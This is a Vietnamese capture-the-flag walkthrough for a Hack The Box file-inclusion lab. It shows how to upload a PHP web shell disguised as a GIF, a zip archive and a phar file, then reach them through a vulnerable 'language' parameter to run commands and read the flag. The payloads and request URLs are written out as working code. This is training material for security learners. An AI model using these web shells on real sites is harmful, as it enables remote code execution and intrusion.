1. Use any of the techniques covered in this section to gain RCE and read the flag at

A screenshot of a computer

Description automatically generated

A screen shot of a computer screen

Description automatically generated

File tải nên được lưu tại đường dẫn /profile\_images/

**\*Upload shell dạng gif**

Tại 1 file WebShell dưới dạng .gif

```bash

echo 'GIF8<?php system($\_GET["cmd"]); ?>' > shell.gif

```

A screen shot of a computer code

Description automatically generated

Upload thành công shell.gif

A screenshot of a computer

Description automatically generated

Xác định vị trí của shell.gif trên Website

A screenshot of a computer

Description automatically generated

Vị trí tại /profile\_images/shell.gif

Ta liệt kê các thư mục file tại đường dẫn / bằng shell.gif đã tải lên

```bash

/index.php?language=./profile\_images/shell.gif&cmd=ls+-l+/

```

A screenshot of a computer

Description automatically generated

Ta tìm được file \*.txt ta đọc file và thu được flag

```bash

/index.php?language=./profile\_images/shell.gif&cmd=cat+/2f40d853e2d4768d87da1c81772bae0a.txt

```

A screenshot of a computer

Description automatically generated

P/s: HTB{upl04d+lf!+3x3cut3=rc3}

**Ta tải file shell zip lên website để xem có đọc được flag không**

Tạo 1 file jpg bên trong là 1 file php

```bash

echo '<?php system($\_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php

```

Upload thành công file lên website

A screenshot of a video

Description automatically generated

Đọc flag.txt

```bash

/index.php?language=zip://./profile\_images/shell.jpg%23shell.php&cmd=cat+/2f40d853e2d4768d87da1c81772bae0a.txt

```

A screenshot of a computer

Description automatically generated

**Phar Upload**

Tạo file WebShell.php

```bash

<?php

$phar = new Phar('shell.phar');

$phar->startBuffering();

$phar->addFromString('shell.txt', '<?php system($\_GET["cmd"]); ?>');

$phar->setStub('<?php \_\_HALT\_COMPILER(); ?>');

$phar->stopBuffering();

```

A computer code on a black background

Description automatically generated

 Biên dịch nó thành một tệp phar và đổi tên nó thành WebShell.jpg

```bash

php --define phar.readonly=0 WebShell.php && mv shell.phar WebShell.jpg

```

A screen shot of a computer

Description automatically generated

Tải WebShell.jpg lên website :

A screenshot of a screen

Description automatically generated

Đọc file flag bằng phar

```bash

/index.php?language=phar://./profile\_images/WebShell.jpg%2Fshell.txt&cmd=cat+/2f40d853e2d4768d87da1c81772bae0a.txt

```

A screenshot of a computer

Description automatically generated